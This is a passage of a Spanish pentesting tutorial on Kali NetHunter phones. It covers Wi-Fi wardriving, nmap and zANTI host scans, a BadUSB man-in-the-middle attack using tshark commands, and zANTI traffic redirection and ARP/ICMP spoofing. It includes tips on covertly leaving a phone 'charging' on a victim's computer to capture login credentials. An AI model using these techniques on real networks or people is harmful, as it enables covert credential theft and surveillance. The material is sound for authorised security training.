¿Por qué hacer pentesting desde tu movil? Bien, a decir verdad, es preferible hacerlo desde un computador normal como lo es una laptop, sin embargo, habrá ocasiones en las que vas a requerí una flexibilidad o movilidad mayor para una o varias situaciones determinadas, ya que estas no se van a prestar para hacer uso del equipo antes mencionado. En cambio, con un movil puedes aproximarte más a la solución que estás buscando para esta situación, ya sea que quieras utilizar tú teléfono u otro dispositivo movil como una Tablet. Existen diferentes piezas de hardware que pueden realizar o se prestan para el trabajo que quieres hacer, existe un dispositivo llamado “Pwnie Express”, este es un dispositivo movil con la potencia en hardware suficiente para llevar a cabo tareas de pentesting, además ya viene precargado con herramientas y cuenta con ciertas modificaciones en el hardware a fin de hacer el trabajo antes descrito. Por obvias razones este dispositivo tiene un costo un poco elevado, así que si puedes adquirirlo, tendrás una ventaja grande, ya que si con anterioridad habías hecho tareas de pentesting desde el movil entenderás de que estoy hablando, sin embargo, existe otra forma que se puede igualar a ello. Apuesto a que conoces o alguna vez viste o usaste aplicaciones o software bastante simple o básico para dispositivos móviles (En su mayoría Android) que permiten hacer “Hacking o Pentesting”, en algún un momento remoto pueden llegar a ser útiles, pero jamás serán igual de eficientes y completas que el software o las herramientas que se encuentran en una distribución para pentesting, en este caso se trata de Kali NetHunter. Esta es una distribución para pentesting lanzada por Offensive Security (Desarrolladores de Kali Linux), en donde podrás encontrar una extensa variedad de herramientas para hacer pentesting y realizar pruebas del mismo tópico, obviamente no encontrarás todo lo existente en Kali Linux en Kali NetHunter, ya que habrá funcionalidades sobre las que un movil no se presta para ejecutar, por ende, esta distribución contiene menos coas, pero las suficientes para poder hacer bien el trabajo, y pos supuesto, habrá algunas que instalarás manualmente, ya que Kali NetHunter no las trae viene precargadas, un último detalle es que Kali NetHunter puede funcionar en conjunto con tu dispositivo movil sin generar gran diferencia, no es “tener Linux instalado”, ya que Kali NetHunter opera sobre Android. En esta primera parte del libro, aprenderás a utilizar un dispositivo movil para realizar pentesting de diferentes maneras mediante vectores de ataque distintos, aquí lo haremos de 2 formas: Usando software algo avanzado o aplicaciones complejas para hacer pentesting desde el movil. Haciendo uso de las herramientas existentes en Kali NetHunter.
¿Cómo configurar un movil para que funcione con Kali NetHunter? Un detalle que no se puede dejar pasar es la compatibilidad, así es, los desarrolladores de Kali NetHunter solo lo hicieron para que funcionase en dispositivos Nexus, del modelo 5 hasta el más reciente el día de hoy, que se trata del OnePlus One, ya que los demás móviles no se prestan para que Kali NetHunter cumpla con su funcionamiento adecuado. Obviamente hay demás modelos de teléfonos que operan actualmente con la distro, sin embargo, Offensive Security publicó una lista de los dispositivos móviles que oficialmente se les puede instalar y tener funcionando a la perfección a Kali NetHunter, si encuentras otros dispositivos ajenos a la lista que tienen instalado a Kali NetHunter, pueden correrlo, de una forma no oficial, estos son los dispositivos oficialmente nombrados por Offensive Security para poder instalarles Kali NetHunter: Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10 o OnePlus One
Esto es importante y que la estabilidad de un sistema, del que sea, lo es todo, y si en un inicio p “Boot” algo sale mal (qué es muy común), el dispositivo puede sufrir daños irreversibles y puede quedar inutilizable, por lo que requerirá un “Hard Reset”, por ello solo es recomendable utilizar a Kali NetHunter solamente sobre los dispositivos antes mencionados. Para el caso de este libro, el movil que se utilizó para hacer las demostraciones fue el Nexus 6. IMPORTANTE: Existen diferentes métodos para conseguir la instalación de Kali NetHunter en un dispositivo movil, unas mejores que otras, pero existe un detalle, todas… TODAS tienen algo en común, lo laborioso, por lo que te resultará mucho más complejo encontrar instrucciones en texto. Debajo habrá el URL de un video en donde encontrarás la forma más confiable para conseguir esta instalación, sin embargo, en el material referente a este capítulo encontrarás el Software requerido para completar esta instalación. Le otorgamos el crédito del video y aspectos de Copyright a la persona que es dueña de este metraje. https://www.youtube.com/watch?v=Tb_0nOGnTUI Una vez que hayas finalizado la instalación y los pasos para dejar listo el movil para realizar pentesting, podrás dar inicio a los temas que encontrarás a partir de la página siguiente, asumiendo que ya tienes a Kali NetHunter funcionando en tu dispositivo movil. En el enlace de abajo encontrarás más info a detalle sobre Kali NetHunter: https://www.kali.org/kali-linux-nethunter/
Recolección de información desde tu móvil. Descubrimiento y análisis de Redes (WarDriving). Esta acción nos permite llevar a cabo la tarea de hallar las redes que se encuentren en el área donde estamos situados, además que se nos puede presentar la posibilidad de explotar conexiones de las redes WLAN con las que nos topemos, esto mientras recorremos el camino, (esto puede ser caminando, manejando). Para hacer WarDriving necesitarás un dispositivo que cuente con una antena interna o externa que esté trabajando en modo promiscuo, este dispositivo puede ser una Laptop o un móvil, entre lo que se puede obtener gracias al WarDriving se encuentra bastante información útil como lo es: SSID´s de los AP (Access Points) Intensidad de los Access Points Tipo de cifrado del password que protege al AP Canal de Red Direccion MAC
Uso de Wifi Analyzer Toda la información anteriormente enumerada se puede conseguir mediante el uso de una App llamada “Wifi Analyzer”, además de que nos permite realizar otras tareas como monitoreo de intensidad en tiempo real, mostrar grafico de Canales, Listas de AP (Access Points), hacer uso de un medidor de señal, etc. Esta App se puede conseguir de forma gratuita en PlayStore, desde donde se descargará e instalará.
Imagen 1.1: Búsqueda de Wifi Analyzer
Imagen 2.2: Wifi Analyzer listo para usarse.
Luego de haberse instalado la aplicación la abriremos, al hacer esto, Wifi Analyzer automáticamente encontrará las redes inalámbricas que estén funcionales en el área donde estemos. Mostrando así un gráfico que indica las intensidades de la señal de los Access Points hallados, esta se mide en dBm (decibel milliwatts) mientras menor sea el número de esta unidad de medida, más fuerte será nuestra señal, asi como se ejemplifica en la imagen. En este caso el AP con la señal más fuerte es “430FFST”, que es al que está conectado el dispositivo:
Imagen 3.3: Grafica de Access Points y sus intensidades de señal.
Una vez identificado el canal Wi-Fi, podremos obtener más información detallada sobre este, como puede ser la obtención de un gráfico en tiempo acerca de los Access Points que hallemos, también la enumeración de los Access Points encontrados, etc. Para visualizar esto, abriremos un pequeño menú desplegable que se encuentra en la parte superior derecha de la App, donde se mostrará distintas funciones, indicándonos la que estamos llevando a cabo en ese momento, a continuación, realizaremos cada una de estas:
Imagen 4.4 y 1.5: Funciones de visualización de Wifi Analyzer
Gráfico de tiempo: Este nos permite monitorear en tiempo real el comportamiento de los canales Wi-Fi que se encuentren en el aréa, de esta forma se puede tener una comprension mejor acerca del comportamiento de ciertos Access Points y sus canales Wi-Fi. En el siguiente ejemplo se muestra la unidad de medida para la fuerza de la señal (dBm), los nombres de los Access Points y su respectivo color de distinción al cual al seleccionar una determinada red, su señal se resaltará en el color que se muestre en nombre del Access Point que queramos seleccionar:
Imagen 5.6, 1.7 y 1.8: Muestra de gráfico de tiempo sobre distintos AP´s.
Puntuación de Canales: Esta función lo que hace es mostrarnos los mejores canales en nuestro Access Point y los que más están siendo usados, en donde se puede visualizar el Nombre del AP, el canal actual sobre el que opera y su “Rating” o puntuación de cada uno de estos canales. Esto puede llegar a ser bastante útil ya que se puede saber que canales están siendo utilizados por ciertas redes, con esto se puede evadir el “LAG” en el tráfico de la red, y asi obtener una señal más fuerte para la red que se establezca en un área, en la siguiente demostración se ejemplificará esto.
Imagen 6.9 y 2.0: Puntuación de canales y el rango de estos, sobre el cual operan ciertos Access Points.
Listado de Access Points: Al visualizar la lista de los AP´s encontrados, podemos hallar información útil como es: la dirección fisca de cada AP (dirección MAC), la dirección IP, el tipo seguridad o cifrado con el que cuenta este AP, un icono que representa un estimado de la intensidad de la señal que emite este AP, también la intensidad en su medición exacta de dBm que también se muestra en tiempo real, el canal en el que opera este AP y la compañía o marca que fabrico el hardware del router:
Imagen 2.1: Listado de Access Points y con sus respectivos detalles cada uno.
Medidor de señal: Esta función nos permite realizar la medición en tiempo real de la intensidad de la señal del Access Point que se haya escogido, esto se puede hacer desde el botón anteriormente descrito, ya que desde ahí se enumeran las redes Wi-Fi disponibles en el área. También nos muestra el nombre de cada AP y su dirección MAC, al realizar la medición los datos se arrojaran en dBm, en este ejemplo la intensidad del AP fue de -55 dBm:
Imagen 2.2: Medición de intensidad de señal del AP “430FFST”.
Imagen 2.3: Lista de Access Points disponibles.
Como se demostró en estos ejemplos, el WarDriving puede llegar a ser algo de suma utilidad, ya que nos permite encontrar redes inalámbricas y obtener información detallada de estas mediante el uso de diferentes dispositivos, ya sea un AP, una computadora portátil o un móvil, todo esto mientras recorremos una determinado locación o área. Esta acción se puede definir como el Mapeo de los Access Points en un área definida, esto puede llevar incluso a descubrir redes con fallos de seguridad o vulnerables a cierto tipo de ataques.
Recolección de información y Network Mapping. Luego de haber finalizado con la Fase de WarDriving, una vez identificada la red objetivo, podemos obtener mayor información acerca de esta. En donde lejos de saber la Dirección MAC del router, nombre de la red, intensidad de su señal, canales sobre los que opera, etc. Es momento de averiguar los detalles sobre cada dispositivo conectado a esta red, todo esto se puede conseguir gracias al “Network Mapping” o Mapeo de redes. La función principal de esto es la proporcionar una descripción visual de la red objetivo, identificando los dispositivos que estén conectados a estas (Hosts) y obtener información sobre estos. El mapeo de red permiten identificar el sistema operativo de estos hosts, lo puertos que estén abiertos, cerrados y filtrados, asi como el nombre y version de los servicios asociados a estos, como es de saberse, mientras más información tengamos sobre nuestro objetivo, mayores posibilidades de éxito tendremos al querer perjudicarlo. Entre las utilidades que ofrece esta acción, las que más ventajas nos dan son: Identificar Hosts Detección de S.O Análisis de red. Escaneo de puertos Fingerprinting de Servicios.
Uso de zANTI. ZANTI es un framework que nos permite llevar a cabo tareas de recolección de información, además de que puede realizar ataques como lo es MITM (Man in the Middle), Spoofing de direcciones MAC, auditar la complejidad de passwords, etc. En esta serie de demostraciones se ejemplificará con el apoyo de esta herramienta el escaneo de Hosts en nuestra red.
NOTA: Este software no está disponible en PlayStore, por lo que se tendrá que conseguir en su página oficial, en donde solo tendrás que ingresar un e-mail donde se enviarán las instrucciones de su descarga e instalación en el móvil:
https://www.zimperium.com/zanti-mobile-penetration-testing
Imagen 2.4: Campo para ingresar e-mail en Zimperium.
Imagen 2.5: Recepción de email.
Una vez completada esta instalación, abrimos el Framework y seguido de eso nos mostrará los hosts encontrados mediante un escaneo rápido que hace al iniciar, esto no quiere decir que se encontraron todos, para asegurarnos de que aparezcan todos los dispositivos conectados a esta red, realizaremos una vez más este escaneo, con el botón “Refresh”. Al hacer esto aparecerá y nuevo recuadro indicándonos la función del mapeo y mostrando 2 opciones, “Borrar registros” y “Análisis intrusivo”, por ahora solo habilitaremos la primera y seleccionaremos OK para comenzar el escaneo. Más adelante trabajaremos con la segunda función:
Imagen 2.5, 2.6 y 2.7: Proceso para mapeo de red en la que nos encontremos.
Esperamos a que el escaneo finalice. Al terminar se mostraran los dispositivos conectados (Hosts) a esta red, indicando el sistema operativo con el que cada dispositivo cuenta, su dirección IP y su correspondiente dirección MAC (Ambas censuradas) , también el número de puertos abiertos que estos Hosts tengan:
Imagen 2.8: Mapeo de red finalizado.
Al terminar el escaneo, podremos interactuar con los dispositivos que se muestren en la lista y poder llevar a cabo múltiples acciones con ellos, en este ejemplo se usará el dispositivo número dos en la lista, aquel que usa Windows como S.O y cuenta con 9 puertos abiertos, al seleccionarlo podemos ver 3 columnas: Comentarios: En esta sección podemos escribir notas acerca del objetivo seleccionado en zANTI:
Imagen 2.9: Sección de comentarios.
Acerca de: Es en donde automáticamente nos dirigen al escoger un dispositivo de la lista, dentro de esta columna se encuentran diferentes funciones para llevarse a cabo sobre el host o dispositivo, como pueden ser las acciones operativas de hacer análisis más completos hacia este dispositivo, establecer conexiones con él, etc. Asi como también está el repertorio de ataques, que más adelante veremos. Dirección IP y MAC: Es la dirección que identifica al objetivo seleccionado y la otra es su dirección física. Nombre: Nombre correspondiente al Host. Puertos: Enumeración de los puertos abiertos sobre los cuales se podría llevar a cabo la explotación de este dispositivo o sistema informático, en este caso se encuentran abiertos los puertos 137, 135, 139, 443, 445, 902, 912, 5357, 6646.
Imagen 3.0: Columna principal (Acerca de).
Análisis Nmap: Dentro de esta columna se encuentra la información recopilada mediante Nmap, esta se obtuvo al momento en el que se mapeó la red para poder identificar los dispositivos conectados a esta. Al visualizar la información conseguida por Nmap, se enumerarán todas las direcciones IP de los hosts de los dispositivos que estén dentro de nuestra red, así como la información obtenida acerca de ellos, aquí un ejemplo con el dispositivo que seleccionamos: PORT, STATE Y SERVICE: En estas 3 columnas se enumeran los puertos que se encuentren abiertos, cerrados o filtrados. En el caso de los abiertos en la columna “Service” se encuentra la información acerca del servicio que actualmente está ejecutándose en él, así como detalles sobre versión, etc. Running OS: En el momento que se realiza el escaneo se lleva a cabo un Fingerprinting, este Fingerprint lo que hace es recolectar información detallada acerca del sistema operativo que corre en el dispositivo actual, en este caso solo son suposiciones (JUST GUESSING), en donde nos mostrará los posibles sistemas operativos con los que puede operar este dispositivo, en este caso se menciona a Vista/ Windows 7 con una posibilidad del 93%:
Imagen 3.1: Resultados de Nmap acerca del objetivo.
Haremos otra demostración con un diferente Host u Objetivo que se encuentra dentro de nuestra red, en este ejemplo se trata de un Host con S.O Linux, su respectivo nombre del Host , que es “OWASPBWA”, así como también vemos que cuenta con 10 puertos abiertos:
Imagen 3.2: Host enumerado en la lista con su descripción.
Ahora que tenemos identificado el Host, realizaremos los mismos pasos que en la demostración anterior para poder ver más información detallada acerca de este Host, como es número de cada puerto abierto con el que este cuenta. En este caso los que se hallan en este estado son el: 22, 80, 139, 143, 443, 445, 5001, 8080, 8081 y 137. En la columna “Análisis con Nmap” se podrá encontrar información acerca de los servicios en los puertos abiertos del Host, así como el protocolo con el que funciona el puerto, el nombre del servicio, etc:
Imagen 3.3, 3.4 y 3.5: Descripción del Host e información recopilada con Nmap por zANTI
NOTA: zANTI hace que la información recolectada por Nmap se visible de una forma organizada y entendible para el usuario, sin embargo esto no quiere decir que solo por este método haremos uso de Nmap desde nuestro dispositivo con NetHunter. Al igual que en las distribuciones para pentesting, la forma más rápida de inicializar Nmap es desde la terminal de comandos, simplemente ejecutando “nmap –h”: Para ejecutar un comando desde nuestro dispositivo Android, tenemos que usar la terminal, esta se encuentra en el menú de aplicaciones, su icono identificador es el siguiente:
Imagen 3.6: Ubicación de terminal en el repertorio de aplicaciones.
Puesto a que ocuparemos bastante la terminal de comandos de NetHunter, será necesario explicar algunas cosas antes de continuar. Al momento de que decidimos abrir una terminal en nuestro dispositivo con NetHunter nos aparecerán 3 opciones, estas 3 opciones son diferentes tipos de shells, (KALI, ANDROID Y ANDROIDSU):
Imagen 3.7: Shells para su selección.
KALI: Al escoger esta shell, se nos abrirá una terminal de comandos bastante parecida a las que existen en las distribuciones para pentesting, en donde podremos llevar a cabo la ejecución de comandos que se involucren o sean afín con las funciones para hacer pentesting desde nuestro dispositivo Nexus, así como también hacer uso de las herramientas que trae consigo NetHunter:
Imagen 3.8: Shell de Kali en NetHunter.
ANDRIOD: Por su significado “Android Super User”, aquí se nos provee de una shell de tipo Unix, en donde podremos realizar la ejecución de comandos con distinta finalidad a los de la shell de KALI, aquí nos arrojan la shell sobre los directorios del sistema Android, sin embargo no podremos ejecutarlos todos o llevar a cabo una exploración completa, ya que no tenemos privilegios de carácter administrativo en esta shell:
Imagen 3.9 y 4.0: Shell de Android y permisos denegados.
ANDROIDSU: Esta shell solo aparece en dispositivos rooteados, por lo que NetHunter muestra su existencia de esta shell, su función principal es la ejecución de comandos como Súper Usuarios, por lo que se nos otorgan permisos de carácter administrativo o de máxima autoridad en el sistema:
Imagen 4.1 y 4.2: Shell tipo ANROIDSU y con permisos y privilegios otorgados.
Ahora que entendemos la finalidad de cada uno de los tipos shell, escogeremos aquella que nos permita hacer uso de las herramientas que dispone NetHunter, la shell de Kali. Al abrirse la terminal ejecutaremos el comando: nmap -sV -O “Direccion IP del Host”, lo que nos mostrará los información detallada acerca de ls servicios funcionando en cada puerto abierto del host especificado, asi como los detalles acerca del S.O de ese Host, la siguientes demostraciones serán sobre el Host “OWASPWBA” y el Host “USER”: Host OWASPBWA:
Imagen 4.3, 4.4 y 4.5: Detalles acerca de los servicios en los puertos y S.O del Host “OWASPBWA”.
Host USER:
Imagen 4.6 y 4.7: Detalles acerca de los servicios en los puertos y S.O del Host “USER”.
Ataques Man in the Middle mediante NetHunter. Después de haber finalizado con la fase de recolección de información usando un dispositivo móvil mediante el apoyo de zANTI, que como se vio, es una herramienta que nos permite llevar a cabo múltiples tareas relacionadas con la recolección de información, desde escaneo e identificación de puertos, servicios y hosts hasta ataques MITM y WarDriving para obtener información detallada acerca de las redes que se encuentran en el área que transitemos, todo desde esta aplicación. Habrá ocasiones en las que se requerirá algo de movilidad y una mayor discreción para llevar a cabo estos ataques para poder hacer sniffing en la red que estemos dentro, ya sea LAN o WLAN, ya que el uso de un computador portátil o laptop resulta inadecuado para realizar estos ataques en un cierto tipo de ambientes, aquí es el momento en el que entra Kali NetHunter y las herramientas que trae consigo para hacer ataques de tipo MITM (Man in the Middle). Gracias al apoyo de estas podremos ver información sensible dentro del trafico al que le haremos sniffing con la ayuda de nuestro dispositivo móvil y el apoyo de las herramientas que trae consigo, en donde conseguiremos realizar una irrupción en algún canal de comunicación legítimo y confiable. Así para poder conseguir cierta información que supuestamente solo está destinado el usuario a leer, a lo largo de este segundo módulo se hará uso de las herramientas que trae consigo NetHunter para realizar ataques de tipo MITM, los cuales serán: BADUSB MITM Attack. MITM con zANTI
Ataque MITM mediante BADUSB. Los usos y capacidades avanzadas de la implementación de hardware USB para su uso en actividades de espionaje cibernético es todavía algo que mucha gente en el área de la informática desconoce. Los profesionales de seguridad requieren del uso de las herramientas y el equipo correcto para poder realizar ataques en un determinado ambiente, y entre las herramientas de apoyo que más destacan par estas tareas se encuentra la BADUSB, esta es una herramienta capaz de poner en peligro y comprometer las comunicaciones de línea fija por USB a través de un ataque Man in the Middle.
¿Cómo es que funciona? El funcionamiento de este vector de ataque consiste básicamente en conectar el dispositivo móvil a un PC, se enciende el dispositivo y se conecta al equipo mediante un cable USB, cuando se conecta a un equipo víctima el móvil actuará como una interfaz de red, al conectar el cable USB a un PC obligará a todo el tráfico del ordenador (Windows o Linux) pasar a través del dispositivo NetHunter, en donde estaremos posicionados como Man in the Middle esperando a que el tráfico pasa por nuestro móvil. NOTA: Para que este ataque función debe estar habilitada la transferencia de datos vía USB (MTP):
Imagen 4.8: Conexión MTP.
1. Bad USB MITM ATTACK. En este primer ataque se utilizará el dispositivo Nexus con Kali NetHunter para realizar MITM, esto se conseguirá al conectarlo al equipo objetivo mediante un cable USB, lo que usualmente se hace para transferir archivos entre los 2 equipos o solamente para poner a cargar nuestro móvil, aquí es donde interviene un uso bastante simple de ingeniería social. Así que lo se hará en este primer escenario será conectar nuestro móvil al equipo víctima, mientras está corriendo nuestro ataque Bad USB, al hacer esto el ordenador no reconocerá al móvil conectado como un dispositivo multimedia o de almacenamiento externo, si no como una tarjeta de red o interfaz de red, por lo que al conectarlo pasará de tener una conexión WiFi a tener una tipo “Wired” (Ethernet), en caso de que fuese lo contrario, solo cambiará el nombre o número de interfaz de red (Eth3 , Eth5, Eth6, etc) de lo cual será lo único extraño que llegará a notar la víctima, básicamente nuestro móvil actuará como una tarjeta de red, por la cual pasará todo el tráfico entre el cliente y servidor, donde el cliente será la víctima y el servidor será el Router o AP (Access Point)
Preparando lo necesario: Antes de conectar el dispositivo al ordenador objetivo, será necesario realizar algunas configuraciones previas a la conexión por USB, ya que si se conecta como se acostumbra a hacerlo, no se capturará nada. Para esto, abriremos una terminal en el dispositivo, al hacerlo escogeremos la de tipo “KALI”, que será sobre la que trabajaremos. Dentro, navegaremos hacia el directorio “/sdcard/nh_files” en donde se hallan archivos que serán parte de nuestra configuracion. NOTA: La ubicación del directorio “/sdcard” puede variar. Dentro del directorio, se encuentra un archivo con extensión .txt, con nombre “Flushiptables”, el cual contiene líneas con comandos que se encargarán de establecer una configuración para despejar las IP Tables en Linux, esto lo haremos mediante el comando “bash Flushiptables.txt” asi nuestro móvil funcionará como una tarjeta de red para que el tráfico fluya por nuestro dispositivo. Todo ya está listo para iniciar nuestro ataque por mediante Bad USB mediante el menú de Kali NetHunter.
Imagen 4.9 y 5.0: Directorio de Flushiptables.txt
Sin embargo no está de más demostrar como iniciar este ataque mediante la terminal de Kali en tu dispositivo, para esto, navegaremos al directorio “/configs”, que se encuentra en la carpeta “/nh_files”, dentro se hallan 2 archivos con extensión .sh, con nombre “startbadusb”, uno version kitkat y otro version lollipop, en este caso usaremos el segundo, ya que esta es la version de Android que trae el movil Nexus, para esto ejecutaremos el comando “bash startbadusb-lollipop, para inicializar las instrucciones que trae dentro, al ejecutarse se mostrará la version de las iptables, la interfaz sobre la que está corriendo el script de BADUSB (rndis), y su tipo “hid” (Human interface device)
Imagen 5.1: Comando Bash.
Ahora ya sabemos cómo iniciar el ataque mediante línea de comandos en una terminal de Kali dentro de nuestro dispositivo, ahora es momento de hacerlo de la manera más rápida mediante el menú de NetHunter, escogiendo la opción llamada “Bad USB MITM Attack”. Una vez dentro de la función “Bad USB MITM Attack”, nos aparecerán múltiples opciones, así como la descripción de la función Bad USB y la interfaz con la que contamos en el dispositivo para esta tarea, en este caso se trata de “rndis0”. En la parte superior, aparecerán 2 opciones, una para iniciar el ataque y otra para detenerlo, lo iniciamos con la primera (Start BadUSB Attack). Al hacer esto inmediatamente nos aparecerá un recuadro indicándonos que Kali NetHunter ha otorgado permisos tipo root para trabajar sobre esta función, esto aparece cada que se ejecuta un ataque desde tu movil con NetHunter.
Imagen 5.2 y 5.3: Menú de ataque BADUSB
Ahora que hemos configurado parte del hardware y haber puesto en acción el ataque, con esto configurado se puede conectar el teléfono al equipo ajeno al que se le quiere hacer sniffing mediante MITM, ya que los paquetes están pasando por nuestro movil, el cual está actuando como una tarjeta de red, simplemente podemos visualizar el tráfico desde nuestro movil, el detalle está en que solo lo dejamos “cargando” un momento en el equipo ajeno, por lo que sería bastante sospechoso e ingenuo estar usando el movil para visualizar paquetes y tráfico, mientras está conectado al equipo objetivo, es por esto que pondremos a trabajar una herramienta llamada “tshark”. Lo que hará será filtrar en un archivo de extensión .cap todo el tráfico que este fluyendo por nuestro movil que tiene corriendo un MITM, de esta manera, podremos revisar este archivo de captura con nuestro analizador de red preferido, en este ejemplo se usará Wireshark. NOTA: Wireshark visualizará el archivo desde una computadora, no desde el movil.
Para configurar tshark, ejecutaremos el siguiente comando sobre la terminal en la que nos encontrábamos: tshark -i rndis0 -w “Nombre del archivo de captura” .cap Donde: tshark: hace uso de la herramienta -i: Indica la interfaz, en este caso rndis0, que se vio en la función de Bad USB MITM Attack en el menú de NetHunter. -w: Aquí se especifica el nombre del archivo de captura con extensión .cap Al ejecutar esto, tshark, comenzará a filtrar los paquetes, indicándonos con un contador los paquetes filtrados, el archivo de captura se guardará dentro el directorio que se ejecute el comando, en esta demostración se recorrió un directorio para que se guardará en “nh_files”:
Imagen 5.4: Configuración de tshark
Ahora, que tenemos el ataque corriendo mediante la terminal, también mediante el menú de NetHunter y teniendo a tshark trabajando, es momento de conectar con un cable USB nuestro móvil al equipo objetivo. NOTA: Recuerda habilitar el modo MTP, para que la PC reconozca el dispositivo y este después se convierta en una “tarjeta de red” para el equipo. Ya que hayamos conectado el móvil al equipo, este automáticamente cambiará de ser un dispositivo multimedia o extraíble a convertirse en un adaptador de red para el equipo, por lo que es posible que aparezca un aviso de una nueva conexión establecida, la cual generó el móvil, a simple vista para el usuario promedio-intermedio, esto será lo único extraño que va a percatar, si es que le presta atención al aviso que dura unos segundos. En la siguiente imagen se muestra el centro de redes y recursos compartidos en Windows, donde aparecen las 2 conexiones existentes, en donde Ethernet 3, enumerada como “Red 5” es la conexión que se generó con el móvil:
Imagen 5.5: Dispositivo reconocido como tarjeta de red
Ahora, que está conectado al equipo y configurado con un MITM corriendo, solo queda esperar a que esta persona continúe con su rutina navegación o a que pase un intervalo de tiempo para que recojamos el movil después. En este ejemplo, durante el tiempo que estuvo conectado el movil se navegó hacia diferentes sitios web que usan protocolo HTTP, los cuales contienen uno o más formularios de Loggeo, por donde se ingresa un usuario, ID, y un password, las plataformas de trabajo utilizan servicios que contenga alguna página con algún login, y puesto a que tenemos un MITM corriendo y capturando el tráfico que pasa del cliente al router, la información que pase por esas páginas o formularios estará expuesta a que la podamos leer con posterioridad.
Los sitios visitados se verán enumerados por el analizador de red que ocuparemos para visualizar el archivo de captura, aquí un ejemplo de envío de credenciales ficticias en uno de los sitios visitados:
Imagen 5.6 y 5.7: Intento de Loggeo.
Una vez que se haya pasado el tiempo que hayamos decidido poner en marcha el ataque, simplemente se desconectará el movil del equipo y terminaremos el proceso de tshark, para hacerlo basta con presionar el botón del volumen bajo y presionar C en el teclado, en NetHunter esto es el equivalente al Ctrl + C en Linux para detener procesos en una terminal de comandos, en donde se muestra la cantidad total de paquetes filtrados en el archivo de captura y seguido de la finalización del proceso:
Imagen 5.8: Detención de tshark.
Ya que se haya detenido el proceso, solo falta extrae el archivo de captura que generó tshark de donde reside en el movil y abrirlo con nuestro analizador de red para ver el contenido de estos paquetes, los cuales se visualizarán con Wireshark.
Imagen 5.9: Directorio en donde se ubica el archivo .cap
NOTA: En este ejemplo se usa el S.O Parrot Security, en done ya viene precargado Wireshark, cabe mencionar que esta herramienta está disponible para Windows, Mac y Linux. Ya estando en Parrot, una vez que tengamos el archivo .cap dentro de él, abriremos Wireshark, el cual se puede iniciar mediante línea de comandos o desde el menú de aplicaciones en la categoría de “Sniffing/Spoofing”:
Imagen 6.0 y 6.1: Transferencia de archivo .cap e inicio de Wireshark.
Una vez abierto Wireshark, no importa que plataforma se use para trabajar con él, estando dentro, seleccionaremos la opciones “Open a capture file”, desde de la cual navegaremos hacia donde tengamos el archivo .cap y lo abriremos:
Imagen 6.2: Wireshark.
Una vez abierto, se mostrará todo el contenido del archivo de captura, organizándose por columnas, en donde nos indica el origen/fuente, el destino, el contenido, protocolo, tamaño, e información o descripción del paquete:
Imagen 6.3, 6.4 y 6.5: Ubicación y visualización de paquete contenedor de Usuario y password.
2. MITM mediante zANTI Hasta este punto hemos terminado con las configuraciones para ataques MITM de forma manual para poder realizar la captura del tráfico, ahora es momento de usar herramientas automatizadas para hacer estos ataques. Como se vio en el capítulo anterior, zANTI es una herramienta bastante extensa que cuenta con un repertorio de funciones bastante amplio para trabajar sobre una red inalámbrica y llevar a cabo tareas como enumeración de hosts, identificación de puertos y servicios como se vio anteriormente. Entre las acciones de ataque que se pueden realizar con zANTI se encuentran los ataques MITM, en donde lejos de solo hacer la captura de tráfico y passwords como las herramientas anteriores, nos permite llevar a cabo acciones como: El re direccionamiento de una página hacia otra. Filtrar las imágenes que el navegador del host victima visualiza en ciertas páginas. insertar código HTML en las páginas interceptadas. Remplazar las imágenes que contenga un sitio determinado por la de nuestra preferencia y demás funciones con las que cuenta. En las siguientes demostraciones se ejemplificará el uso de las funciones antes mencionadas mediante pruebas a un host en una red Wi-Fi. Redirección hacia otros sitios web: Cuando se lanza un ataque MITM hacia un objetivo, se puede filtrar, retener o alterar el trafico, una forma de ejemplificarlo es mediante el redireccionamiento de un sitio web hacia otro, en zANTI solo basta con activar la opcion “Redirigir HTTP” en donde solo tendremos que cambiar el link que viene por defecto por el de nuestra preferencia: Seguido de esto, nos saldremos del input y ya estará corriendo estará funcionando esta acción. ¿Qué es lo que hará? Al activarla, todo el trafico que contenga protocolo HTTP será redirigido al enlace o URL que proporcionamos, es decir, toda pagina que el host objetivo visite y use protocolo HTTP será redirigida a la que configuramos en zANTI desde nuestro movil. Ejemplo:
Iniciamos zANTI, y escaneamos la red en la que nos encontremos, en donde seleccionaremos el host victima/objetivo para que podamos llevar a cabo las acciones de ataque hacia este, en donde seleccionarmeos la categoria Man in the Middle:
Imagen 6.6 y 6.7: Escaneo y selección de ataque MITM en zANTI.
Ya seleccionada la acción de ataque “Man in the Middle” pasaremos a un nuevo panel en donde encontraremos las funciones para trabajar con esta modalidad de ataque, en este panel podremos ver la IP del objetivo seleccionado para ataque MITM, el boton de inicio/detencion del ataque, las opciones de uso y tipo de MITM. Para poder iniciar un ataque MITM desde zANTI, se tendrá que configurar las opciones del mismo e iniciarlo con el boton de la parte superior derecha, en el caso de que se quiera detener, se pulsa de nuevo el botón:
Imagen 6.8: Apagado y encendido de la acción de ataque.
Imagen 6.9: Selección de método de ataque MITM.
Pedidos registrados: Aquí se visualizarán las peticiones http/https que se hagan en red por parte del host, enlistando los pedidos de navegacion, cabe mencionar que solo se filtraran las credenciales de accesso de los sitios que redirigan de HTTP a HTTPS.
Imágenes registradas: Aquí se filtrarán las imágenes que se visualizen en el navegador al ingresar a ciertos sitios web, similar al funcionamiento de Drifnet, esta acción nos permitirá visualizar en nuestro dispositivo las imágenes que se carguen en el navegador victima, en el siguiente eejmplo se demostrará su uso mediante la busqueda de imágenes en Google desde el navegador victima, mostrandolas posteriormente en el dispositivo:
Imagen 7.0: Imagen Filtrada.
Método MITM: Hay dos métodos disponibles: ARP (Address Resolution Protocol) e ICMP (Internet Control Message Protocol). Aquí es donde se seleccionará el tipo o técnica de ataque Man in the Middle que se podrá realizar, el que se usa por defecto es el de tipo ARP, en donde trabajará con el protocolo de resolucion de direcciones para hacer de esto la base del ataque. ¿Cuál es la diferencia entre cada técnica? El ataque de tipo ARP hace spoofing a la dirección MAC dentro de la red local. Es decir, la máquina del atacante actúa como el dispositivo de destino y router al mismo tiempo (cliente/servidor). El ataque de tipo ICMP funciona mediante la suplantación de un mensaje de redirección ICMP al router. El mensaje falsificado reencamina el tráfico de la víctima a través de un router controlado por el atacante.
Imagen 7.1: Tipos de ataque MITM.
